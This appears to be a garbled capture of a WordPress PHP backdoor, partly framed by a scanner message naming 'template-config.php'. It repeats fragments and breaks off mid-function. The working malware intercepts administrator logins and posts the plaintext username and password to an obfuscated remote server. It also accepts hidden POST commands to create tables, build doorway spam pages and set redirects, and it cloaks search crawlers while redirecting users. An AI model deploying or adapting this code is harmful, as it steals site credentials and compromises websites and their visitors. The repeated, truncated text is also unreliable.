createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return '';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt(curl_exec was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return 